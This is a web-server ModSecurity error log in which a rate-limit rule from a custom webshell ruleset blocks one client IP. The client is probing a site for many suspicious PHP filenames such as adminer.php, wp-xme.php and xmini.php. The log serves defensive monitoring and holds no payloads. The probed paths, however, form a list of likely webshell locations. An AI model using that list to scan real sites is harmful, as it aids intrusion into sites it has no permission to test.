[Tue Apr 21 17:57:10.044567 2026] [:error] [pid 35321:tid 35399] [client 20.199.181.135:5993] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-temp.php"] [unique_id "aedJ9jeHLhVUuu8cVXwQzwAAAE8"]
[Tue Apr 21 17:57:10.519442 2026] [:error] [pid 35321:tid 35395] [client 20.199.181.135:60911] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-temp.php"] [unique_id "aedJ9jeHLhVUuu8cVXwQ0QAAAEs"]
[Tue Apr 21 17:57:10.992710 2026] [:error] [pid 35321:tid 35390] [client 20.199.181.135:15618] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sxdfrt.php"] [unique_id "aedJ9jeHLhVUuu8cVXwQ1AAAAEY"]
[Tue Apr 21 17:57:11.465082 2026] [:error] [pid 4777:tid 4789] [client 20.199.181.135:5980] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sxdfrt.php"] [unique_id "aedJ96xXur6bykKyLZSYpgAAAQE"]
[Tue Apr 21 17:57:11.936994 2026] [:error] [pid 53832:tid 53837] [client 20.199.181.135:5305] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sxdfrt.php"] [unique_id "aedJ99zkuxsE_OhM9UJNlwAAAkI"]
[Tue Apr 21 17:57:12.407847 2026] [:error] [pid 54080:tid 54082] [client 20.199.181.135:60898] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sxdfrt.php"] [unique_id "aedJ-IzEbQHHxtmWbaaOWAAAAsA"]
[Tue Apr 21 17:57:12.879002 2026] [:error] [pid 35321:tid 35398] [client 20.199.181.135:49307] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aedJ-DeHLhVUuu8cVXwQ3AAAAE4"]
[Tue Apr 21 17:57:13.372777 2026] [:error] [pid 35321:tid 35399] [client 20.199.181.135:55821] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aedJ-TeHLhVUuu8cVXwQ4wAAAE8"]
[Tue Apr 21 17:57:13.846027 2026] [:error] [pid 53978:tid 53990] [client 20.199.181.135:49336] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aedJ-Z1ivsR4hcOSQbbqcwAAAoo"]
[Tue Apr 21 17:57:14.319996 2026] [:error] [pid 54080:tid 54094] [client 20.199.181.135:55840] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aedJ-ozEbQHHxtmWbaaOXQAAAsw"]
[Tue Apr 21 17:57:14.791903 2026] [:error] [pid 54080:tid 54093] [client 20.199.181.135:60891] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aedJ-ozEbQHHxtmWbaaOYgAAAss"]
[Tue Apr 21 17:57:15.270256 2026] [:error] [pid 54080:tid 54096] [client 20.199.181.135:6006] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aedJ-4zEbQHHxtmWbaaOZwAAAs4"]
[Tue Apr 21 17:57:15.742315 2026] [:error] [pid 4823:tid 4867] [client 20.199.181.135:58961] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aedJ-_c8mke3PfHqsxHlkAAAAY4"]
[Tue Apr 21 17:57:16.217159 2026] [:error] [pid 35321:tid 35399] [client 20.199.181.135:5264] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aedJ_DeHLhVUuu8cVXwQ8wAAAE8"]
[Tue Apr 21 17:57:16.694881 2026] [:error] [pid 35321:tid 35395] [client 20.199.181.135:49321] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class-bda.php"] [unique_id "aedJ_DeHLhVUuu8cVXwQ9gAAAEs"]
[Tue Apr 21 17:57:17.167716 2026] [:error] [pid 35321:tid 35388] [client 20.199.181.135:5971] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class-bda.php"] [unique_id "aedJ_TeHLhVUuu8cVXwQ-QAAAEQ"]
[Tue Apr 21 17:57:17.639535 2026] [:error] [pid 4777:tid 4790] [client 20.199.181.135:15667] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class-bda.php"] [unique_id "aedJ_axXur6bykKyLZSYqAAAAQI"]
[Tue Apr 21 17:57:18.109881 2026] [:error] [pid 35320:tid 35337] [client 20.199.181.135:60923] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class-bda.php"] [unique_id "aedJ_oJW6fdXWO6agMFk8QAAAAc"]
[Tue Apr 21 17:57:18.582013 2026] [:error] [pid 35320:tid 35339] [client 20.199.181.135:5293] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bhm.php"] [unique_id "aedJ_oJW6fdXWO6agMFk9QAAAAk"]
[Tue Apr 21 17:57:19.053975 2026] [:error] [pid 35320:tid 35331] [client 20.199.181.135:5958] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bhm.php"] [unique_id "aedJ_4JW6fdXWO6agMFk-gAAAAE"]
[Tue Apr 21 17:57:19.526291 2026] [:error] [pid 35320:tid 35346] [client 20.199.181.135:49308] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bhm.php"] [unique_id "aedJ_4JW6fdXWO6agMFk_wAAABA"]
[Tue Apr 21 17:57:19.997792 2026] [:error] [pid 35320:tid 35351] [client 20.199.181.135:58947] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bhm.php"] [unique_id "aedJ_4JW6fdXWO6agMFlAwAAABU"]
[Tue Apr 21 17:57:20.470574 2026] [:error] [pid 53731:tid 53743] [client 20.199.181.135:55863] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xmu.php"] [unique_id "aedKAF2I9THUR-bRVGwgbgAAAgg"]
[Tue Apr 21 17:57:20.941815 2026] [:error] [pid 53731:tid 53755] [client 20.199.181.135:60870] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xmu.php"] [unique_id "aedKAF2I9THUR-bRVGwgcQAAAhM"]
[Tue Apr 21 17:57:21.414810 2026] [:error] [pid 53731:tid 53749] [client 20.199.181.135:49288] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xmu.php"] [unique_id "aedKAV2I9THUR-bRVGwgcgAAAg4"]
[Tue Apr 21 17:57:21.885786 2026] [:error] [pid 4823:tid 4860] [client 20.199.181.135:50499] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xmu.php"] [unique_id "aedKAfc8mke3PfHqsxHllAAAAYc"]
[Tue Apr 21 17:57:22.359451 2026] [:error] [pid 53832:tid 53839] [client 20.199.181.135:6009] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ref.php"] [unique_id "aedKAtzkuxsE_OhM9UJNpgAAAkQ"]
[Tue Apr 21 17:57:22.830716 2026] [:error] [pid 53731:tid 53743] [client 20.199.181.135:55818] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ref.php"] [unique_id "aedKAl2I9THUR-bRVGwgegAAAgg"]
[Tue Apr 21 17:57:23.302822 2026] [:error] [pid 35321:tid 35387] [client 20.199.181.135:49293] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ref.php"] [unique_id "aedKAzeHLhVUuu8cVXwRBwAAAEM"]
[Tue Apr 21 17:57:23.775674 2026] [:error] [pid 35415:tid 35442] [client 20.199.181.135:60903] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ref.php"] [unique_id "aedKA0iqDinI4_22zzhlRQAAAM8"]
[Tue Apr 21 17:57:24.248434 2026] [:error] [pid 35321:tid 35400] [client 20.199.181.135:55866] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-xme.php"] [unique_id "aedKBDeHLhVUuu8cVXwREgAAAFA"]
[Tue Apr 21 17:57:24.720759 2026] [:error] [pid 53978:tid 53997] [client 20.199.181.135:55846] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-xme.php"] [unique_id "aedKBJ1ivsR4hcOSQbbqeAAAApE"]
[Tue Apr 21 17:57:25.194357 2026] [:error] [pid 35321:tid 35397] [client 20.199.181.135:5302] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-xme.php"] [unique_id "aedKBTeHLhVUuu8cVXwRGAAAAE0"]
[Tue Apr 21 17:57:25.666652 2026] [:error] [pid 35320:tid 35339] [client 20.199.181.135:50536] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-xme.php"] [unique_id "aedKBYJW6fdXWO6agMFlDAAAAAk"]
[Tue Apr 21 17:57:26.138463 2026] [:error] [pid 53832:tid 53845] [client 20.199.181.135:49061] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/adminer.php"] [unique_id "aedKBtzkuxsE_OhM9UJNrAAAAko"]
[Tue Apr 21 17:57:26.610382 2026] [:error] [pid 35321:tid 35404] [client 20.199.181.135:5292] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/adminer.php"] [unique_id "aedKBjeHLhVUuu8cVXwRIAAAAFQ"]
[Tue Apr 21 17:57:27.081403 2026] [:error] [pid 53832:tid 53856] [client 20.199.181.135:49331] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/adminer.php"] [unique_id "aedKB9zkuxsE_OhM9UJNrgAAAlU"]
[Tue Apr 21 17:57:27.555134 2026] [:error] [pid 4823:tid 4873] [client 20.199.181.135:50509] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/adminer.php"] [unique_id "aedKB_c8mke3PfHqsxHlmgAAAZQ"]
[Tue Apr 21 17:57:28.026054 2026] [:error] [pid 35320:tid 35351] [client 20.199.181.135:49028] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ktfow.php"] [unique_id "aedKCIJW6fdXWO6agMFlEwAAABU"]
[Tue Apr 21 17:57:28.497481 2026] [:error] [pid 35321:tid 35403] [client 20.199.181.135:60886] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ktfow.php"] [unique_id "aedKCDeHLhVUuu8cVXwRJAAAAFM"]
[Tue Apr 21 17:57:29.029252 2026] [:error] [pid 35321:tid 35400] [client 20.199.181.135:5255] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ktfow.php"] [unique_id "aedKCTeHLhVUuu8cVXwRKAAAAFA"]
[Tue Apr 21 17:57:29.502385 2026] [:error] [pid 35321:tid 35392] [client 20.199.181.135:5291] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ktfow.php"] [unique_id "aedKCTeHLhVUuu8cVXwRLAAAAEg"]
[Tue Apr 21 17:57:29.974085 2026] [:error] [pid 35321:tid 35396] [client 20.199.181.135:6000] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "aedKCTeHLhVUuu8cVXwRMAAAAEw"]
[Tue Apr 21 17:57:30.446873 2026] [:error] [pid 35321:tid 35401] [client 20.199.181.135:17068] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "aedKCjeHLhVUuu8cVXwRMQAAAFE"]
[Tue Apr 21 17:57:30.918697 2026] [:error] [pid 54080:tid 54090] [client 20.199.181.135:23397] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "aedKCozEbQHHxtmWbaaOjQAAAsg"]
[Tue Apr 21 17:57:31.398041 2026] [:error] [pid 54080:tid 54100] [client 20.199.181.135:60879] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "aedKC4zEbQHHxtmWbaaOkAAAAtI"]
[Tue Apr 21 17:57:31.869291 2026] [:error] [pid 35320:tid 35341] [client 20.199.181.135:49085] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Xx.php"] [unique_id "aedKC4JW6fdXWO6agMFlHwAAAAs"]
[Tue Apr 21 17:57:32.340409 2026] [:error] [pid 53978:tid 53982] [client 20.199.181.135:55836] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Xx.php"] [unique_id "aedKDJ1ivsR4hcOSQbbqgwAAAoI"]
[Tue Apr 21 17:57:32.812930 2026] [:error] [pid 53731:tid 53752] [client 20.199.181.135:15674] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Xx.php"] [unique_id "aedKDF2I9THUR-bRVGwgigAAAhA"]
[Tue Apr 21 17:57:33.285731 2026] [:error] [pid 53832:tid 53847] [client 20.199.181.135:49340] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Xx.php"] [unique_id "aedKDdzkuxsE_OhM9UJNswAAAkw"]
[Tue Apr 21 17:57:33.759358 2026] [:error] [pid 53832:tid 53839] [client 20.199.181.135:49072] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xmini.php"] [unique_id "aedKDdzkuxsE_OhM9UJNtQAAAkQ"]
[Tue Apr 21 17:57:34.231965 2026] [:error] [pid 35321:tid 35389] [client 20.199.181.135:15661] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xmini.php"] [unique_id "aedKDjeHLhVUuu8cVXwROQAAAEU"]
[Tue Apr 21 17:57:34.704307 2026] [:error] [pid 35321:tid 35387] [client 20.199.181.135:58966] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xmini.php"] [unique_id "aedKDjeHLhVUuu8cVXwROwAAAEM"]
[Tue Apr 21 17:57:35.174693 2026] [:error] [pid 53731:tid 53741] [client 20.199.181.135:5994] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xmini.php"] [unique_id "aedKD12I9THUR-bRVGwgkQAAAgY"]
[Tue Apr 21 17:57:35.654940 2026] [:error] [pid 35321:tid 35391] [client 20.199.181.135:60907] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2468.php"] [unique_id "aedKDzeHLhVUuu8cVXwRPgAAAEc"]
